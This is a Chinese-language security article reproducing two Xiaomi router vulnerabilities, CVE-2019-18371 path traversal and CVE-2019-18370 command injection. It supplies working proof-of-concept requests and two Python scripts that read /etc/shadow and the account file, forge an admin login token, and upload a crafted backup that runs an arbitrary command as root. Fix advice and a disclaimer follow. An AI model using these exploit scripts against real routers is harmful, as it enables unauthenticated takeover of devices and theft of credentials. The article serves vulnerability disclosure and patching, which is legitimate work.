一、漏洞描述

小米路由器是一款高配的智能路由器,具備強大的擴展,并且具備高速傳輸的特點,其傳輸速度最高可以達到866M,相比普通150M/300M的普通無線路由器具備更高無線傳輸速率。小米路由器系統存在任意文件讀取漏洞和遠程命令執行漏洞，攻擊者通過該漏洞可以獲取服務器權限，導致服務器失陷。

二、漏洞復現

系統首頁地址及頁面顯示如下

?

?http://xx.xx.xx.xx/cgi-bin/luci/web

?

?

1、遠程任意文件讀取漏洞（CVE-2019-18371）

小米路由器的nginx配置文件錯誤，導致目錄穿越漏洞，實現任意文件讀取（無需登錄）

nginx配置不當可導致目錄穿越漏洞，

?

location /xxx {
  alias /abc/;
}

?

可通過訪問http://domain.cn/xxx../etc/passwd實現目錄穿越訪問上級目錄及其子目錄文件。

在小米路由器的文件/etc/sysapihttpd/sysapihttpd.conf中，存在

?

location /api-third-party/download/extdisks {
  alias /extdisks/;
}

?

故可以任意文件讀取根目錄下的所有文件，而且是root權限，如訪問http://xx.xx.xx.xx/api-third-party/download/extdisks../etc/shadow

類似的問題，存在多處如

?

location /backup/log {
  alias /tmp/syslogbackup/;
}


location /api-third-party/download/public {
  alias /userdisk/data/;
}
location /api-third-party/download/private {
  alias /userdisk/appdata/;
}

?

通過任意文件讀取，登錄路由器后臺

不是明文存儲密碼，需要進行一定分析。關注兩個過程，一是登錄時前端js生成http post請求參數過程，二是驗證用戶登陸的后端過程。

登錄時前端js生成http post請求參數過程

?

var Encrypt = {
    key: 'a2ffa5c9be07488bbb04a3a47d3c5f6a',
    iv: '64175472480004614961023454661220',
    nonce: null,
    init: function(){
        var nonce = this.nonceCreat();
        this.nonce = nonce;
        return this.nonce;
    },
    nonceCreat: function(){
        var type = 0;
        // 自己的mac地址
        var deviceId = '<%=mac%>';
        var time = Math.floor(new Date().getTime() / 1000);
        var random = Math.floor(Math.random() * 10000);
        return [type, deviceId, time, random].join('_');
    },
    oldPwd : function(pwd){ // oldPwd = sha1(nonce + sha1(pwd + 'a2ffa5c9be07488bbb04a3a47d3c5f6a'))
        return CryptoJS.SHA1(this.nonce + CryptoJS.SHA1(pwd + this.key).toString()).toString();
    },
  //...
};

?

可知oldPwd = sha1(nonce + sha1(pwd + 'a2ffa5c9be07488bbb04a3a47d3c5f6a'))，登陸請求包為

?

POST /cgi-bin/luci/api/xqsystem/login HTTP/1.1
Host: xx.xx.xx.xx


username=admin&password=c9e62da7b8a0b7a4918c5a90912ba81a9717f9ab&logtype=2&nonce=0_mac地址_時間戳_5248

?

驗證用戶登陸的后端過程

調用XQSecureUtil.checkUser函數

?

function checkUser(user, nonce, encStr)
    -- 從xiaoqiang 配置文件中讀取信息
    local password = XQPreference.get(user, nil, "account")
    if password and not XQFunction.isStrNil(encStr) and not XQFunction.isStrNil(nonce) then
        if XQCryptoUtil.sha1(nonce..password) == encStr then
            return true
        end
    end
    XQLog.log(4, (luci.http.getenv("REMOTE_ADDR") or "").." Authentication failed", nonce, password, encStr)
    return false
end

?

跟進XQPreference.get函數可以知道是從/etc/config/account文件中讀取某個字符串，這里稱它為accountStr。

checkUser函數判斷等式為(encStr為參數oldPwd)

?

sha1(nonce + sha1(密碼 + 'a2ffa5c9be07488bbb04a3a47d3c5f6a'))
==
sha1(nonce + accountStr)

?

則

?

accountStr == sha1(密碼 + 'a2ffa5c9be07488bbb04a3a47d3c5f6a')

?

故，只需要讀取/etc/config/account得到accountStr即可構造如下數據包登陸

?

POST /cgi-bin/luci/api/xqsystem/login HTTP/1.1
Host: xx.xx.xx.xx


username=admin&password=sha1(nonce + account中保存的字符串)&logtype=2&nonce=0_mac地址_時間戳_5248

?

先執行任意文件讀取POC，讀取etc/shadow文件，驗證漏洞的存在，在響應中將會得到回顯

?

GET /api-third-party/download/extdisks../etc/shadow HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept-Encoding: gzip, deflate
Connection: close

?

然后讀取/etc/config/account得到accountStr即可構造數據包登陸

實現任意登陸POC如下

arbitrary_file_read_vulnerability.py

?

#!/usr/bin/python


import os
import re
import time
import base64
import random
import hashlib
import requests
from Crypto.Cipher import AES


proxies = {"http":"http://127.0.0.1:8080"}




def get_mac():
  ## get mac
  r0 = requests.get("http://xx.xx.xx.xx/cgi-bin/luci/web",proxies = proxies)
  mac = re.findall(r'deviceId = '(.*?)'', r0.text)[0]
  # print(mac)  
  return mac


def get_account_str():
  ## read /etc/config/account
  r1 = requests.get("http://xx.xx.xx.xx/api-third-party/download/extdisks../etc/config/account",proxies = proxies)
  print(r1.text)
  account_str = re.findall(r'admin'? '(.*)'', r1.text)[0]
  return account_str


def create_nonce(mac):
  type_ = 0
  deviceId = mac
  time_ = int(time.time())
  rand = random.randint(0,10000)
  return "%d_%s_%d_%d"%(type_, deviceId, time_, rand)


def calc_password(nonce, account_str):
  m = hashlib.sha1()
  m.update((nonce + account_str).encode('utf-8'))
  return m.hexdigest()


mac = get_mac()
account_str = get_account_str()
## login, get stok
nonce = create_nonce(mac)
password = calc_password(nonce, account_str)
data = "username=admin&password={password}&logtype=2&nonce={nonce}".format(password=password,nonce=nonce)
r2 = requests.post("http://xx.xx.xx.xx/cgi-bin/luci/api/xqsystem/login", 
  data = data, 
  headers={"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0",
    "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"},proxies = proxies)
# print(r2.text)
stok = re.findall(r'"token":"(.*?)"',r2.text)[0]
print("stok="+stok)

?

可以獲取到登錄的stok。

2、遠程命令執行漏洞（root權限）（CVE-2019-18370）

備份文件是tar.gz格式的，上傳后tar zxf解壓，所以構造備份文件，可以控制解壓目錄的文件內容，結合測試上傳下載速度功能的sh腳本執行時讀取測試url列表文件，并將url部分直接進行命令拼接執行。

備份文件解壓導致/tmp/目錄任意文件可控

在/usr/lib/lua/luci/controller/api/misystem.lua中，配置文件功能如下

?

function cUpload()
    local LuciFs = require("luci.fs")
    local XQBackup = require("xiaoqiang.module.XQBackup")
    local code = 0
    local canupload = true
    local uploadFilepath = "/tmp/cfgbackup.tar.gz"
    local fileSize = tonumber(LuciHttp.getenv("CONTENT_LENGTH"))
    if fileSize > 102400 then
        canupload = false
    end
    LuciHttp.setfilehandler(
        function(meta, chunk, eof)
            if canupload then
                if not fp then
                    if meta and meta.name == "image" then
                        fp = io.open(uploadFilepath, "w")
                    end
                end
                if chunk then
                    fp:write(chunk)
                end
                if eof then
                    fp:close()
                end
            else
                code = 1630
            end
        end
    )
    if LuciHttp.formvalue("image") and fp then
        code = 0
    end
    local result = {}
    if code == 0 then
        local ext = XQBackup.extract(uploadFilepath)
        if ext == 0 then
            result["des"] = XQBackup.getdes()
        else
            code = 1629
        end
    end
    if code ~= 0 then
        result["msg"] = XQErrorUtil.getErrorMessage(code)
        LuciFs.unlink(uploadFilepath)
    end
    result["code"] = code
    LuciHttp.write_json(result)
end

?

其中調用XQBackup.extract(uploadFilepath)進行解壓

?

-- 0:succeed
-- 1:file does not exist
-- 2:no description file
-- 3:no mbu file
function extract(filepath)
    local fs = require("nixio.fs")
    local tarpath = filepath
    if not tarpath then
        tarpath = TARMBUFILE
    end
    if not fs.access(tarpath) then
        return 1
    end
    os.execute("cd /tmp; tar -xzf "..tarpath.." >/dev/null 2>/dev/null")
    os.execute("rm "..tarpath.." >/dev/null 2>/dev/null")
    if not fs.access(DESFILE) then
        return 2
    end
    if not fs.access(MBUFILE) then
        return 3
    end
    return 0
end

?

可知，/tmp目錄下的任意文件可控

/usr/bin/upload_speedtest,/usr/bin/download_speedtest等會讀取/tmp/speedtest_urls.xml并提取url直接進行命令拼接，且這幾個腳本可以通過web接口調用

舉例，查看/usr/bin/download_speedtest文件

?

#!/usr/bin/env lua
-- ...
local cfg = {
-- ...
  ['xmlfile'] = "/usr/share/speedtest.xml",
        ['tmp_speedtest_xml'] = "/tmp/speedtest_urls.xml",
}
VERSION="__UNDEFINED__"
-- ...
-- 測試網速使用的url文件為，若存在/tmp/speedtest_urls.xml則使用，否則用/usr/share/speedtest.xml
local filename = ""
filexml = io.open(cfg.tmp_speedtest_xml)
if filexml then
    filexml:close()
    filename = cfg.tmp_speedtest_xml
else
    filename = cfg.xmlfile
end


local pp = io.open(filename)
local line = pp:read("*line")
local size = 0
local resources = {}
local u = ""
local pids = {}
-- ...
function wget_work(url)
  local _url = url
  pid = posix.fork()
  if pid < 0 then
    print("fork error")
    return -1
  elseif pid > 0 then
    --print(string.format("child pid %d
", pid))
  else
        -- 拼接命令，最終在這里執行
    os.execute('for i in $(seq '.. math.floor(cfg.nr/cfg.nc) ..'); do wget '.. url  ..
    " -q -O /dev/null; done")
  end
  return pid
end


while line do
    -- 從文件中提取url， 這里提取沒有進行過濾
  local _, _, url = string.find(line,'')
  if url then
    table.insert(resources, url)
  end
  line = pp:read("*line")
end
pp:close()


local urls = mrandom(1, table.getn(resources), cfg.nc)


for k, v in ipairs(urls) do
  if VERSION == "LESSMEM" then
    local pid = wget_work_loop(resources[v])
  else
        -- VERSION 為 __UNDEFINED__， url直接作為參數
    local pid = wget_work(resources[v])
  end
  if(pid == 0) then
    os.exit(0)
  elseif(pid == -1) then
    done()
  end
end

?

調用的地方貌似有好幾個，其中/usr/lib/lua/luci/controller/api/xqnetdetect.lua中

?

function netspeed()
    local XQPreference = require("xiaoqiang.XQPreference")
    local XQNSTUtil = require("xiaoqiang.module.XQNetworkSpeedTest")
    local code = 0
    local result = {}
    local history = LuciHttp.formvalue("history")
    if history then
        result["bandwidth"] = tonumber(XQPreference.get("BANDWIDTH", 0, "xiaoqiang"))
        result["download"] = tonumber(string.format("%.2f", 128 * result.bandwidth))
        result["bandwidth2"] = tonumber(XQPreference.get("BANDWIDTH2", 0, "xiaoqiang"))
        result["upload"] = tonumber(string.format("%.2f", 128 * result.bandwidth2))
    else
        os.execute("/etc/init.d/miqos stop")
        -- 這里調用了downloadSpeedTest
        local download = XQNSTUtil.downloadSpeedTest()
        if download then
            result["download"] = download
            result["bandwidth"] = tonumber(string.format("%.2f", 8 * download/1024))
            XQPreference.set("BANDWIDTH", tostring(result.bandwidth), "xiaoqiang")
        else
            code = 1588
        end
        if code ~= 0 then
           result["msg"] = XQErrorUtil.getErrorMessage(code)
        end
        os.execute("/etc/init.d/miqos start")
    end
    
    result["code"] = code
    LuciHttp.write_json(result)
end
function downloadSpeedTest()
    local speedtest = "/usr/bin/download_speedtest"
    local speed
    -- 直接調用sh文件
    for _, line in ipairs(LuciUtil.execl(speedtest)) do
        if not XQFunction.isStrNil(line) and line:match("^avg rx:") then
            speed = line:match("^avg rx:(%S+)")
            if speed then
                speed = tonumber(string.format("%.2f",speed/8))
            end
            break
        end
    end
    return speed
end

?

所以，我們只需要構造惡意的speedtest_urls.xml文件，構造備份文件，上傳備份文件，然后調用網絡測試相關的接口，即可以實現命令注入。

實現命令執行POC

template.xml文件

?

?

remote_command_execution_vulnerability.py

?

#!/usr/bin/python




import os
import tarfile
import requests


proxies = {"http":"http://127.0.0.1:8080"}




## get stok
stok = input("stok: ")


## make config file
command = input("command: ")
speed_test_filename = "speedtest_urls.xml"
with open("template.xml","rt",encoding='gb18030', errors='ignore') as f:
  template = f.read()
data = template.format(command=command)
# print(data)
with open("speedtest_urls.xml",'wt') as f:
  f.write(data)


with tarfile.open("payload.tar.gz", "w:gz") as tar:
  # tar.add("cfg_backup.des")
  # tar.add("cfg_backup.mbu")
  tar.add("speedtest_urls.xml")


## upload config file
print("start uploading config file ...")
r1 = requests.post("http://xx.xx.xx.xx/cgi-bin/luci/;stok={}/api/misystem/c_upload".format(stok), files={"image":open("payload.tar.gz",'rb')}, proxies=proxies)
# print(r1.text)


## exec download speed test, exec command
print("start exec command...")
r2 = requests.get("http://xx.xx.xx.xx/cgi-bin/luci/;stok={}/api/xqnetdetect/netspeed".format(stok), proxies=proxies)
# print(r2.text)


## read result file
r3 = requests.get("http://xx.xx.xx.xx/api-third-party/download/extdisks../tmp/1.txt", proxies=proxies)
if r3.status_code == 200:
  print("success, vul")
  print(r3.text)

?

結合二者，無需登錄即可遠程命令執行

經測試，在小米系列路由器中存在該漏洞，如小米路由器R3G、小米路由器R3A、小米路由器R4等

三、修復方案

1、任意文件讀取

將/etc/sysapihttpd/sysapihttpd.conf中的形如以下形式修改為

?

location /xxx {
  alias /abc/;
}

?

修改為

?

location /xxx/ {
  alias /abc/;
}

?

2、遠程命令執行

將備份文件格式修改為特定格式，直接讀取備份文件內容，而不需使用解壓

從speedtest_urls.xml中讀取url時，進行必要的過濾，防止命令注入

文章作者 守衛者安全 ，在此特別鳴謝。

聲明?? 安全技術類文章僅供參考，此文所提供的信息僅針對漏洞靶場進行滲透，未經授權請勿利用文章內的相關技術從事非法測試，如因此產生的一切不良后果與文章作者和本公眾號無關。?本文所提供的工具僅用于學習，禁止用于其他目的，推薦大家在了解技術原理的前提下，更好的維護個人信息安全、企業安全、國家安全。